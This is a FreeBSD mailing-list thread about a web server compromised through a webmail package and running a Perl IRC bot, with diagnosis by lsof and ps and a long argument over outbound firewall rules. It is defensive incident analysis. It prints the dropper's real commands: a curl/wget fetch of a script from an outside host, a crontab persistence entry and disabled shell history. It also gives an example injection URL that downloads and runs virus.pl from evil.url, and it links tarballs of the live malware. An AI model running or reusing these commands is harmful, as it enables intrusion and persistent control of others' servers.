Re: what www perl script is running?
Colin Brace wrote: ah, another directory found in /tmp with files written by www called .bash/ Contents here: http://silenceisdefeat.com/~cbrace/www_badstuff-3.gz Apropos of the contents of the above, a correspondent writes: [...] running 'strings' on /tmp/owned will show HISTFILE=/dev/null cd /tmp;curl -s -O http://www.tirnaveni.org/tmpfile 21 /dev/null cd /tmp;wget -b http://www.tirnaveni.org/tmpfile 21 /dev/null echo '*/1 * * * * perl /tmp/tmpfile' cron.job crontab cron.job rm -rf cron.job chmod 0100 /tmp/tmpfile 21 /dev/null perl /tmp/tmpfile 21 /dev/null [...] So this would be the original mischief-maker. Just out of curiousity, can someone explain to me in basic terms how an intruder exploits a vulnerability such as apparently existed on my system (the RoundCube webmail package was apparently the culprit) to place the binary file owned in /tmp and execute it? Thanks - Colin Brace Amsterdam http://lim.nl -- View this message in context: http://www.nabble.com/what-www-perl-script-is-running--tp25112050p25167487.html Sent from the freebsd-questions mailing list archive at Nabble.com. ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to freebsd-questions-unsubscr...@freebsd.org
Re: what www perl script is running?
Hi Colin.
I thought I'd just add my tuppence here. Some time ago I suffered a
similar exploit, albeit on a Linux box, with Apache and a different
PHP web app (Horde if I recall correctly).
There are a number of ways your server could have been comprised via a
PHP webapp, and a mailling list probably isn't the best place to give
you a tutorial on the likes of cross-site scripting and code injection.
What I can do is tell you roughly how my site was infected via a code
injection - to give you an idea of how important it is to learn more
about it if you are running a webserver (espescially one with third
party web apps installed).
In my case, I was able to learn quite a bit about how the exploit was
performed by looking in my Apache logs. Primarily because the attack
exploited an HTTP GET variable, so I could actually grep the name of
the script that was download from the logs. Basically all it took was
for someone to construct a URL similar to the following*:
http://www.myserver.com/vulnerable_script.php?unchecked_variable=some_value;
exec('wget http://evil.url/virus.pl -O /tmp/virus.pl');
exec('/tmp/virus.pl');
All it needs then is a bit of code on the server side which uses the
GET variable verbatum to build a line of code without checking the
variable. If the above variable were used in the construction of a
line of PHP, in an (extra) unsafe manner, you would end up with
several lines of PHP. Clearly building code from a user supplied
variable is a very bad idea, and doing so without checking the
variable... - however it isn't unheard of in the world of third
party web apps (it isn't unheard of in in-house web apps either,
however because that are not so widespread there is less chance
that the exploit will be found, and probably less to gain from
exploiting it).
The attack against your server was almost certainly automated and most
likely not even targetted at you. If you check your error logs, you
will probably see lots of 'file not found' and similar errors, testing
for vulnerabilities in ASP scripts and PHP web apps which you don't
have installed - in much the same way that you will have SSH login
failures for users who don't exist on your system.
Using an incoming and outgoing firewall is clearly a must on a
dedicated web server. Running an outgoing server on your desktop is
a bit more complicated as you would probably want to allow certain
applications to setup outgoing connections. I don't know how you
do this on a FreeBSD system.
However something that no one seems to have mentioned yet is running
an application level firewall to protect your web server, this is
particularly important if you are running popular third party web
applications. Once a flaw has been found in a popular web app, it is
very easily for the malware writers to attempt to exploit this on
thousands of webservers. A web application firewall, such as
Mod_Security for Apache (not sure what is available for lighttpd),
will check the traffic to your HTTP server for any irregularities,
known exploits and potential exploits.
HTH
Jeremy
* the URL I wrote probably isn't even valid, it is just a
demonstration, so just treat it as psuedocode.
2009/8/27 Colin Brace c...@lim.nl:
Colin Brace wrote:
ah, another directory found in /tmp with files written by www called
.bash/ Contents here:
http://silenceisdefeat.com/~cbrace/www_badstuff-3.gz
Apropos of the contents of the above, a correspondent writes:
[...]
running 'strings' on /tmp/owned will show
HISTFILE=/dev/null
cd /tmp;curl -s -O http://www.tirnaveni.org/tmpfile 21 /dev/null
cd /tmp;wget -b http://www.tirnaveni.org/tmpfile 21 /dev/null
echo '*/1 * * * * perl /tmp/tmpfile' cron.job
crontab cron.job
rm -rf cron.job
chmod 0100 /tmp/tmpfile 21 /dev/null
perl /tmp/tmpfile 21 /dev/null
[...]
So this would be the original mischief-maker.
Just out of curiousity, can someone explain to me in basic terms how an
intruder exploits a vulnerability such as apparently existed on my system
(the RoundCube webmail package was apparently the culprit) to place the
binary file owned in /tmp and execute it?
Thanks
-
Colin Brace
Amsterdam
http://lim.nl
--
View this message in context:
http://www.nabble.com/what-www-perl-script-is-running--tp25112050p25167487.html
Sent from the freebsd-questions mailing list archive at Nabble.com.
___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to freebsd-questions-unsubscr...@freebsd.org
___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to freebsd-questions-unsubscr...@freebsd.org
Re: what www perl script is running?
Steve Bertrand said the following on 08/26/2009 01:33 AM: In this case, OP, look for: - directories named as such: -- ... -- . .. -- . . -- etc, particularly under: -- /var/tmp -- /tmp -- or anywhere else the [gu]id of the webserver could possibly write to Thanks for the comments, Steve. This has indeed been the case here: there was a bunch of files installed by user 'www' (the webserver) in a directory called ., in /tmp ; the script itself was in /tmp Someone has suggested to me that the vulnerability might have been in the RoundCube webmail package which I had installed: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2009-0413 Cross-site scripting (XSS) vulnerability in RoundCube Webmail (roundcubemail) 0.2 stable allows remote attackers to inject arbitrary web script or HTML via the background attribute embedded in an HTML e-mail message. -- Colin Brace Amsterdam http://www.lim.nl ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to freebsd-questions-unsubscr...@freebsd.org
Re: what www perl script is running?
Colin Brace wrote: CyberLeo Kitsana wrote: Are these files available in a tarball someplace public, for those of us who enjoy performing autopsies on virii? Sure thing: http://silenceisdefeat.com/~cbrace/www_badstuff.gz this tarball contains tmpfile which is the misbehaving script as well as the contents of a directory called ., which has a bunch of source code and so on. As indicated earlier, this stuff was installed by user 'www'. It should be unpacked in an empty directory. Oops, I missed six more files written by www to /tmp. Here they are: http://silenceisdefeat.com/~cbrace/www_badstuff-2.gz - Colin Brace Amsterdam http://lim.nl -- View this message in context: http://www.nabble.com/what-www-perl-script-is-running--tp25112050p25149271.html Sent from the freebsd-questions mailing list archive at Nabble.com. ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to freebsd-questions-unsubscr...@freebsd.org
Re: what www perl script is running?
Colin Brace wrote: CyberLeo Kitsana wrote: Are these files available in a tarball someplace public, for those of us who enjoy performing autopsies on virii? ah, another directory found in /tmp with files written by www called .bash/ Contents here: http://silenceisdefeat.com/~cbrace/www_badstuff-3.gz Sorry about the multiple tarballs. - Colin Brace Amsterdam http://lim.nl -- View this message in context: http://www.nabble.com/what-www-perl-script-is-running--tp25112050p25149559.html Sent from the freebsd-questions mailing list archive at Nabble.com. ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to freebsd-questions-unsubscr...@freebsd.org
Re: what www perl script is running?
Adam Vande More amvandem...@gmail.com wrote:
On Tue, Aug 25, 2009 at 2:43 PM, Bill Moran wmo...@potentialtech.comwrote:
In response to Adam Vande More amvandem...@gmail.com:
On Tue, Aug 25, 2009 at 12:06 PM, Bill Moran wmo...@potentialtech.com
wrote:
In response to Adam Vande More amvandem...@gmail.com:
On Tue, Aug 25, 2009 at 11:05 AM, Bill Moran
wmo...@potentialtech.com
wrote:
In response to Paul Schmehl pschmehl_li...@tx.rr.com:
--On Tuesday, August 25, 2009 08:30:17 -0500 Colin Brace
c...@lim.nl
wrote:
Bill Moran wrote:
You can add an ipfw rule to prevent the script from calling
home,
which
will effectively render it neutered until you can track down
and
actually
_fix_ the problem.
Mike Bristow above wrote: The script is talking to
94.102.51.57 on
port
7000. OK, so I how do I know what port the script is using for
outgoing
traffic on MY box? 7000 is the remote host port, right?
FWIW, here are my core PF lines:
pass out quick on $ext_if proto 41
pass out quick on gif0 inet6
pass in quick on gif0 inet6 proto icmp6
block in log
That is to say: nothing is allowed in unless explicitly allowed
Everything allowed out.
(plus some ipv6 stuff I was testing with a tunnel)
The problem with blocking outbound ports is that it breaks things
in
odd
ways.
For example, your mail server listens on port 25 (and possibly
465 as
well) but
it communicates with connecting clients on whatever ethereal port
the
client
decided to use. If the port the client selects happens to be in
a
range
that
you are blocking, communication will be impossible and the client
will
report
that your mail server is non-responsive.
You're doing it wrong. Block on the destination port _only_ and
you
don't
care about the ephemeral ports.
What ports would you block then when you're trying to run a
webserver?
My point (which is presented in examples below) is that you block
everything
and only allow what is needed (usually only dns and ntp, possibly smtp
if
the web server needs to send mail)
That single statement above was directed specifically at the comment
about
it being impossible to predict (and thus block) ephemeral source ports.
He's
right about that, and that's why filtering on the destination port is
the
more common practice.
Of course, that caused me to create an email that seems to contradict
itself, if you don't notice that it's two answers to two different
comments.
My point was that it's unfeasible to block by destination point. You can
only block by destination port if it's a known quantity, and the
destination
port is ephemeral in the question I posed(which what the OP had an issue
with).
Please read the entire email before you respond. My last example below
demonstrates how to do what you call unfeasible.
It's much easier to block outgoing ports for services you *don't*
want to
offer, but, if the service isn't running anyway, blocking the
port is
non-productive.
You're obviously misunderstanding me completely. Your not blocking
incoming
connections, your preventing outgoing ones, which means there _is_
no
service running on your local machine.
For example, a server that is _only_ web (with SSH for admin) could
have
a ruleset like:
pass in quick on $ext_if proto tcp from any to me port
{25,587,465,22}
keep
state
pass out quick on $ext_if proto tcp from me to any port {25} keep
state
pass out quick on $ext_if proto upd from me to any port {53,123}
keep
state
block all
(note that's only an example, there may be some fine points I'm
missing)
One thing that had not yet been mentioned when I posted my earlier
comment,
is that this system is a combination firewall/web server. That
makes
the
rules more complicated, but the setup is still possible:
pass in quick on $ext_if proto tcp from any to me port {80} keep
state
pass out quick on $ext_if proto upd from me to any port {53,123}
keep
state
pass out quick on $ext_if from $internal_network to any all keep
state
block all
Which allows limited outgoing traffic originating from the box
itself,
but allows unlimited outgoing traffic from systems on
$internal_network.
I've done this with great success. In fact, I had a fun time where
a
client in question was infected with viruses out the wazoo, but the
viruses never spread off their
Re: what www perl script is running?
In response to Adam Vande More amvandem...@gmail.com:
On Wed, Aug 26, 2009 at 7:11 AM, Bill Moran wmo...@potentialtech.comwrote:
Adam Vande More amvandem...@gmail.com wrote:
On Tue, Aug 25, 2009 at 2:43 PM, Bill Moran wmo...@potentialtech.com
wrote:
In response to Adam Vande More amvandem...@gmail.com:
On Tue, Aug 25, 2009 at 12:06 PM, Bill Moran
wmo...@potentialtech.com
wrote:
In response to Adam Vande More amvandem...@gmail.com:
On Tue, Aug 25, 2009 at 11:05 AM, Bill Moran
wmo...@potentialtech.com
wrote:
In response to Paul Schmehl pschmehl_li...@tx.rr.com:
--On Tuesday, August 25, 2009 08:30:17 -0500 Colin Brace
c...@lim.nl
wrote:
Bill Moran wrote:
You can add an ipfw rule to prevent the script from
calling
home,
which
will effectively render it neutered until you can track
down
and
actually
_fix_ the problem.
Mike Bristow above wrote: The script is talking to
94.102.51.57 on
port
7000. OK, so I how do I know what port the script is using
for
outgoing
traffic on MY box? 7000 is the remote host port, right?
FWIW, here are my core PF lines:
pass out quick on $ext_if proto 41
pass out quick on gif0 inet6
pass in quick on gif0 inet6 proto icmp6
block in log
That is to say: nothing is allowed in unless explicitly
allowed
Everything allowed out.
(plus some ipv6 stuff I was testing with a tunnel)
The problem with blocking outbound ports is that it breaks
things
in
odd
ways.
For example, your mail server listens on port 25 (and
possibly
465 as
well) but
it communicates with connecting clients on whatever ethereal
port
the
client
decided to use. If the port the client selects happens to be
in
a
range
that
you are blocking, communication will be impossible and the
client
will
report
that your mail server is non-responsive.
You're doing it wrong. Block on the destination port _only_
and
you
don't
care about the ephemeral ports.
What ports would you block then when you're trying to run a
webserver?
My point (which is presented in examples below) is that you block
everything
and only allow what is needed (usually only dns and ntp, possibly
smtp
if
the web server needs to send mail)
That single statement above was directed specifically at the
comment
about
it being impossible to predict (and thus block) ephemeral source
ports.
He's
right about that, and that's why filtering on the destination port
is
the
more common practice.
Of course, that caused me to create an email that seems to
contradict
itself, if you don't notice that it's two answers to two different
comments.
My point was that it's unfeasible to block by destination point. You
can
only block by destination port if it's a known quantity, and the
destination
port is ephemeral in the question I posed(which what the OP had an
issue
with).
Please read the entire email before you respond. My last example below
demonstrates how to do what you call unfeasible.
It's much easier to block outgoing ports for services you
*don't*
want to
offer, but, if the service isn't running anyway, blocking the
port is
non-productive.
You're obviously misunderstanding me completely. Your not
blocking
incoming
connections, your preventing outgoing ones, which means there
_is_
no
service running on your local machine.
For example, a server that is _only_ web (with SSH for admin)
could
have
a ruleset like:
pass in quick on $ext_if proto tcp from any to me port
{25,587,465,22}
keep
state
pass out quick on $ext_if proto tcp from me to any port {25}
keep
state
pass out quick on $ext_if proto upd from me to any port
{53,123}
keep
state
block all
(note that's only an example, there may be some fine points I'm
missing)
One thing that had not yet been mentioned when I posted my
earlier
comment,
is that this system is a combination firewall/web server. That
makes
the
rules more complicated, but the setup is still possible:
pass in quick on $ext_if proto tcp from any to me port {80}
keep
state
pass out quick on $ext_if proto upd from me to any port
{53,123}
Re: what www perl script is running?
On Wed, Aug 26, 2009 at 7:11 AM, Bill Moran wmo...@potentialtech.comwrote:
Adam Vande More amvandem...@gmail.com wrote:
On Tue, Aug 25, 2009 at 2:43 PM, Bill Moran wmo...@potentialtech.com
wrote:
In response to Adam Vande More amvandem...@gmail.com:
On Tue, Aug 25, 2009 at 12:06 PM, Bill Moran
wmo...@potentialtech.com
wrote:
In response to Adam Vande More amvandem...@gmail.com:
On Tue, Aug 25, 2009 at 11:05 AM, Bill Moran
wmo...@potentialtech.com
wrote:
In response to Paul Schmehl pschmehl_li...@tx.rr.com:
--On Tuesday, August 25, 2009 08:30:17 -0500 Colin Brace
c...@lim.nl
wrote:
Bill Moran wrote:
You can add an ipfw rule to prevent the script from
calling
home,
which
will effectively render it neutered until you can track
down
and
actually
_fix_ the problem.
Mike Bristow above wrote: The script is talking to
94.102.51.57 on
port
7000. OK, so I how do I know what port the script is using
for
outgoing
traffic on MY box? 7000 is the remote host port, right?
FWIW, here are my core PF lines:
pass out quick on $ext_if proto 41
pass out quick on gif0 inet6
pass in quick on gif0 inet6 proto icmp6
block in log
That is to say: nothing is allowed in unless explicitly
allowed
Everything allowed out.
(plus some ipv6 stuff I was testing with a tunnel)
The problem with blocking outbound ports is that it breaks
things
in
odd
ways.
For example, your mail server listens on port 25 (and
possibly
465 as
well) but
it communicates with connecting clients on whatever ethereal
port
the
client
decided to use. If the port the client selects happens to be
in
a
range
that
you are blocking, communication will be impossible and the
client
will
report
that your mail server is non-responsive.
You're doing it wrong. Block on the destination port _only_
and
you
don't
care about the ephemeral ports.
What ports would you block then when you're trying to run a
webserver?
My point (which is presented in examples below) is that you block
everything
and only allow what is needed (usually only dns and ntp, possibly
smtp
if
the web server needs to send mail)
That single statement above was directed specifically at the
comment
about
it being impossible to predict (and thus block) ephemeral source
ports.
He's
right about that, and that's why filtering on the destination port
is
the
more common practice.
Of course, that caused me to create an email that seems to
contradict
itself, if you don't notice that it's two answers to two different
comments.
My point was that it's unfeasible to block by destination point. You
can
only block by destination port if it's a known quantity, and the
destination
port is ephemeral in the question I posed(which what the OP had an
issue
with).
Please read the entire email before you respond. My last example below
demonstrates how to do what you call unfeasible.
It's much easier to block outgoing ports for services you
*don't*
want to
offer, but, if the service isn't running anyway, blocking the
port is
non-productive.
You're obviously misunderstanding me completely. Your not
blocking
incoming
connections, your preventing outgoing ones, which means there
_is_
no
service running on your local machine.
For example, a server that is _only_ web (with SSH for admin)
could
have
a ruleset like:
pass in quick on $ext_if proto tcp from any to me port
{25,587,465,22}
keep
state
pass out quick on $ext_if proto tcp from me to any port {25}
keep
state
pass out quick on $ext_if proto upd from me to any port
{53,123}
keep
state
block all
(note that's only an example, there may be some fine points I'm
missing)
One thing that had not yet been mentioned when I posted my
earlier
comment,
is that this system is a combination firewall/web server. That
makes
the
rules more complicated, but the setup is still possible:
pass in quick on $ext_if proto tcp from any to me port {80}
keep
state
pass out quick on $ext_if proto upd from me to any port
{53,123}
keep
state
pass out quick on $ext_if from $internal_network to any all
keep
state
block all
Which allows limited outgoing traffic originating from the box
itself,
but allows
Re: what www perl script is running?
Jonathan McKeown wrote: On Wednesday 26 August 2009 15:44:41 Adam Vande More wrote: [450 lines including multiple signatures and twelve levels of quoting, all to say:] Specifically what am I confused on? Or are you just going to continue with the personal attacks? You've offered no technical rebuttal, simply insults. Please, take it to email - or at least learn to trim (ideally both). No, please keep it on the list. I really, really want to see what concensus you reach. :-) ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to freebsd-questions-unsubscr...@freebsd.org
Re: what www perl script is running?
On Wed, Aug 26, 2009 at 8:30 AM, Bill Moran wmo...@potentialtech.comwrote:
In response to Adam Vande More amvandem...@gmail.com:
On Wed, Aug 26, 2009 at 7:11 AM, Bill Moran wmo...@potentialtech.com
wrote:
Adam Vande More amvandem...@gmail.com wrote:
On Tue, Aug 25, 2009 at 2:43 PM, Bill Moran
wmo...@potentialtech.com
wrote:
In response to Adam Vande More amvandem...@gmail.com:
On Tue, Aug 25, 2009 at 12:06 PM, Bill Moran
wmo...@potentialtech.com
wrote:
In response to Adam Vande More amvandem...@gmail.com:
On Tue, Aug 25, 2009 at 11:05 AM, Bill Moran
wmo...@potentialtech.com
wrote:
In response to Paul Schmehl pschmehl_li...@tx.rr.com:
--On Tuesday, August 25, 2009 08:30:17 -0500 Colin Brace
c...@lim.nl
wrote:
Bill Moran wrote:
You can add an ipfw rule to prevent the script from
calling
home,
which
will effectively render it neutered until you can
track
down
and
actually
_fix_ the problem.
Mike Bristow above wrote: The script is talking to
94.102.51.57 on
port
7000. OK, so I how do I know what port the script is
using
for
outgoing
traffic on MY box? 7000 is the remote host port, right?
FWIW, here are my core PF lines:
pass out quick on $ext_if proto 41
pass out quick on gif0 inet6
pass in quick on gif0 inet6 proto icmp6
block in log
That is to say: nothing is allowed in unless explicitly
allowed
Everything allowed out.
(plus some ipv6 stuff I was testing with a tunnel)
The problem with blocking outbound ports is that it
breaks
things
in
odd
ways.
For example, your mail server listens on port 25 (and
possibly
465 as
well) but
it communicates with connecting clients on whatever
ethereal
port
the
client
decided to use. If the port the client selects happens
to be
in
a
range
that
you are blocking, communication will be impossible and
the
client
will
report
that your mail server is non-responsive.
You're doing it wrong. Block on the destination port
_only_
and
you
don't
care about the ephemeral ports.
What ports would you block then when you're trying to run a
webserver?
My point (which is presented in examples below) is that you
block
everything
and only allow what is needed (usually only dns and ntp,
possibly
smtp
if
the web server needs to send mail)
That single statement above was directed specifically at the
comment
about
it being impossible to predict (and thus block) ephemeral
source
ports.
He's
right about that, and that's why filtering on the destination
port
is
the
more common practice.
Of course, that caused me to create an email that seems to
contradict
itself, if you don't notice that it's two answers to two
different
comments.
My point was that it's unfeasible to block by destination point.
You
can
only block by destination port if it's a known quantity, and the
destination
port is ephemeral in the question I posed(which what the OP had
an
issue
with).
Please read the entire email before you respond. My last example
below
demonstrates how to do what you call unfeasible.
It's much easier to block outgoing ports for services you
*don't*
want to
offer, but, if the service isn't running anyway, blocking
the
port is
non-productive.
You're obviously misunderstanding me completely. Your not
blocking
incoming
connections, your preventing outgoing ones, which means
there
_is_
no
service running on your local machine.
For example, a server that is _only_ web (with SSH for
admin)
could
have
a ruleset like:
pass in quick on $ext_if proto tcp from any to me port
{25,587,465,22}
keep
state
pass out quick on $ext_if proto tcp from me to any port
{25}
keep
state
pass out quick on $ext_if proto upd from me to any port
{53,123}
keep
state
block all
(note that's only an example, there may be some fine points
I'm
missing)
One thing that had not yet been mentioned when I posted my
earlier
comment,
is that this system is a combination firewall/web
Re: what www perl script is running?
On Wednesday 26 August 2009 15:44:41 Adam Vande More wrote: [450 lines including multiple signatures and twelve levels of quoting, all to say:] Specifically what am I confused on? Or are you just going to continue with the personal attacks? You've offered no technical rebuttal, simply insults. Please, take it to email - or at least learn to trim (ideally both). ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to freebsd-questions-unsubscr...@freebsd.org
Re: what www perl script is running?
Ok, here is what lsof tells me: $ sudo lsof | grep perl perl5.8.9 4272 www cwd VDIR 0,76512 2 / perl5.8.9 4272 www rtd VDIR 0,76512 2 / perl5.8.9 4272 www txt VREG 0,82 4428 3015044 /usr/local/bin/perl perl5.8.9 4272 www txt VREG 0,76 171192 49360 /libexec/ld-elf.so.1 perl5.8.9 4272 www txt VREG 0,821229218 95150 /usr/local/lib/perl5/5.8.9/mach/CORE/libperl.so perl5.8.9 4272 www txt VREG 0,76 92140 16 /lib/libm.so.5 perl5.8.9 4272 www txt VREG 0,76 31928 14 /lib/libcrypt.so.4 perl5.8.9 4272 www txt VREG 0,76 50496 74 /lib/libutil.so.7 perl5.8.9 4272 www txt VREG 0,761026604 13 /lib/libc.so.7 perl5.8.9 4272 www txt VREG 0,82 17427 94753 /usr/local/lib/perl5/5.8.9/mach/auto/IO/IO.so perl5.8.9 4272 www txt VREG 0,82 24006 94951 /usr/local/lib/perl5/5.8.9/mach/auto/Socket/Socket.so perl5.8.9 4272 www0uPIPE 0xc33c4ad4 16384 -0xc33c4b8c perl5.8.9 4272 www1uPIPE 0xc2fd2874 0 -0xc2fd27bc perl5.8.9 4272 www2uPIPE 0xc2fd2874 0 -0xc2fd27bc perl5.8.9 4272 www3uIPv4 0xc33cf0000t0 TCP gw:51295-94.102.51.57:afs3-fileserver (ESTABLISHED) The last line would be appear to telling me something, but what? After 24 hour since rebooting, this perl instance is still crunching away... - Colin Brace Amsterdam http://lim.nl -- View this message in context: http://www.nabble.com/what-www-perl-script-is-running--tp25112050p25130058.html Sent from the freebsd-questions mailing list archive at Nabble.com. ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to freebsd-questions-unsubscr...@freebsd.org
Re: what www perl script is running?
On Tue, Aug 25, 2009 at 01:00:53AM -0700, Colin Brace wrote: Ok, here is what lsof tells me: $ sudo lsof | grep perl perl5.8.9 4272 www3uIPv4 0xc33cf0000t0 TCP gw:51295-94.102.51.57:afs3-fileserver (ESTABLISHED) The last line would be appear to telling me something, but what? The script is talking to 94.102.51.57 on port 7000. Other useful things: ps ajx will tell you the parent process of the script: this looks like it may be a (fast?)CGI script; if so then the parent would be the web server. It may also show the name of the script (but beware: the script can change that) which would be usefull to know. After 24 hour since rebooting, this perl instance is still crunching away... Is it the same instance of the script, or a new copy each time? That is, does the PID change? If so, that points to a CGI; if not it points to a fastCGI - or something else. Cheers, -- :wq ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to freebsd-questions-unsubscr...@freebsd.org
Re: what www perl script is running?
On Tue, Aug 25, 2009 at 10:19:37AM +0100, Mike Bristow typed: On Tue, Aug 25, 2009 at 01:00:53AM -0700, Colin Brace wrote: Ok, here is what lsof tells me: $ sudo lsof | grep perl perl5.8.9 4272 www3uIPv4 0xc33cf0000t0 TCP gw:51295-94.102.51.57:afs3-fileserver (ESTABLISHED) The last line would be appear to telling me something, but what? The script is talking to 94.102.51.57 on port 7000. At which port an IRC server is listening: telnet 94.102.51.57 7000 Trying 94.102.51.57... Connected to 94.102.51.57. Escape character is '^]'. :sampson.dangerz.biz NOTICE AUTH :*** Looking up your hostname... :sampson.dangerz.biz NOTICE AUTH :*** Couldn't resolve your hostname; using your IP address instead Ruben ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to freebsd-questions-unsubscr...@freebsd.org
Re: what www perl script is running?
Mike Bristow wrote: On Tue, Aug 25, 2009 at 01:00:53AM -0700, Colin Brace wrote: Ok, here is what lsof tells me: $ sudo lsof | grep perl perl5.8.9 4272 www3uIPv4 0xc33cf0000t0 TCP gw:51295-94.102.51.57:afs3-fileserver (ESTABLISHED) The last line would be appear to telling me something, but what? The script is talking to 94.102.51.57 on port 7000. Other useful things: ps ajx will tell you the parent process of the script: this looks like it may be a (fast?)CGI script; if so then the parent would be the web server. It may also show the name of the script (but beware: the script can change that) which would be usefull to know. After 24 hour since rebooting, this perl instance is still crunching away... Is it the same instance of the script, or a new copy each time? That is, does the PID change? If so, that points to a CGI; if not it points to a fastCGI - or something else. I have disabled both CGI and fastCGI in lighttpd.conf, restart the webserver, but the script keeps popping up. Now I notice something interesting: $ ps aux | grep www www 116 100.0 0.7 5864 3588 ?? R11:53AM 8:10.33 /usr/bin/web/httpd (perl5.8.9) www 113 0.0 0.0 0 0 ?? Z11:53AM 0:00.18 defunct This file doesn't exist on my system. Am I correct in assuming that my system has been hacked and I am running an IRC server or something? Thanks. - Colin Brace Amsterdam http://lim.nl -- View this message in context: http://www.nabble.com/what-www-perl-script-is-running--tp25112050p25131646.html Sent from the freebsd-questions mailing list archive at Nabble.com. ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to freebsd-questions-unsubscr...@freebsd.org
Re: what www perl script is running?
Hi Colin, Am I correct in assuming that my system has been hacked and I am running an IRC server or something? IRC client at least. And yes, I would think that your system has been compromised. Good luck, Olivier ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to freebsd-questions-unsubscr...@freebsd.org
Re: what www perl script is running?
Olivier Nicole wrote: Am I correct in assuming that my system has been hacked and I am running an IRC server or something? IRC client at least. And yes, I would think that your system has been compromised. Thanks Olivier. I am currently killing the process with the following bash command while I decide what to do next: $ while x=1 ; do sudo killall -9 perl5.8.9 echo killed... ; sleep 15; done I suppose this calls for a bare-metal reinstall. Is it worth first trying to determine how my system was broken into? - Colin Brace Amsterdam http://lim.nl -- View this message in context: http://www.nabble.com/what-www-perl-script-is-running--tp25112050p25132123.html Sent from the freebsd-questions mailing list archive at Nabble.com. ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to freebsd-questions-unsubscr...@freebsd.org
Re: what www perl script is running?
Colin, I suppose this calls for a bare-metal reinstall. Is it worth first trying to determine how my system was broken into? It really depends on: - what is installed on that machine (how long it would take to reinstall, how many softwares, ports, specially configured stuff). - how important is is that you keep the machine running (like the only web server generating all the revenue for your company vs. your home mail server that is being used for you and your household). If you can afford to take the system down for enough time to reinstall it from scratch, it is the best: you will know 100% that you did not forget some backdoor somewhere, you make install updated software, you may implement those fancy changes that you have always wanted to implement, but that you would not do because you were afraid of breaking a working server. In any case, it is a good exercise to try to find out how you were broken into: security hole in the OS or some port, hopefully an upgrade will close them, a security hole in some home made script? If you re-install that script on your new server without closing the holes, the new server will be vulnerable too, and soon compromised. It may also be good to dig from the log and try to find who has been reaching your infected server: it happened to me (third party software installed by an outside contractor), from the log I contacted all the people that I could locate upstream, about 5 to 10% of them where not aware that they had been infected too... Trying to understand how you get compromised is a good way to gain deeper knowledge about your system. Best regards, Olivier ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to freebsd-questions-unsubscr...@freebsd.org
Re: what www perl script is running?
In response to Colin Brace c...@lim.nl: Olivier Nicole wrote: Am I correct in assuming that my system has been hacked and I am running an IRC server or something? IRC client at least. And yes, I would think that your system has been compromised. Thanks Olivier. I am currently killing the process with the following bash command while I decide what to do next: $ while x=1 ; do sudo killall -9 perl5.8.9 echo killed... ; sleep 15; done You can add an ipfw rule to prevent the script from calling home, which will effectively render it neutered until you can track down and actually _fix_ the problem. In reality, good security practice says that you should have IPFW (or some other firewall) running and only allowing known good traffic right from the start, which might have protected you from this in the first place. Is it worth first trying to determine how my system was broken into? Yes. Otherwise you'll probably just get a repeat once you've reinstalled. -- Bill Moran http://www.potentialtech.com http://people.collaborativefusion.com/~wmoran/ ___ freebsd-questions@freebsd.org mailing list http://lists.freebsd.org/mailman/listinfo/freebsd-questions To unsubscribe, send any mail to freebsd-questions-unsubscr...@freebsd.org
Re: what www perl script is running?
Bill Moran wrote:
You can add an ipfw rule to prevent the script from calling home, which
will effectively render it neutered until you can track down and actually
_fix_ the problem.
In reality, good security practice says that you should have IPFW (or some
other firewall) running and only allowing known good traffic right from
the start, which might have protected you from this in the first place.
Bill,
I am surprised you would think I have no firewall. As long as I have had the
server (2 years), I have had PF installed and running, and I can tell you
exactly which incoming ports I have open to the net:
tcp_services = { ssh smtp www https 4661 4662 52550 }
the last three are for edonkey and bittorrent, resp.
c'est tout.
There are no *obvious* weaknesses, ie, ssh is private-key only.
That being said, I leave the WiFi open to everyone, with the following ports
available:
wifi_tcp_services = { ftp ssh bootps whois domain www imap imaps ntp irc
https sunrpc dict nfs 2628 3689 4711 6667 6909 23398}
Should I entertain the possiblity that someone parked their car near my
house and hacked in through one of the above ports?
Any suggestions as to where to start looking for the breach would be most
welcome; I am quite new to this game.
Thanks.
-
Colin Brace
Amsterdam
http://lim.nl
--
View this message in context:
http://www.nabble.com/what-www-perl-script-is-running--tp25112050p25134056.html
Sent from the freebsd-questions mailing list archive at Nabble.com.
___
freebsd-questions@freebsd.org mailing list
http://lists.freebsd.org/mailman/listinfo/freebsd-questions
To unsubscribe, send any mail to freebsd-questions-unsubscr...@freebsd.org
Re: what www perl script is running?
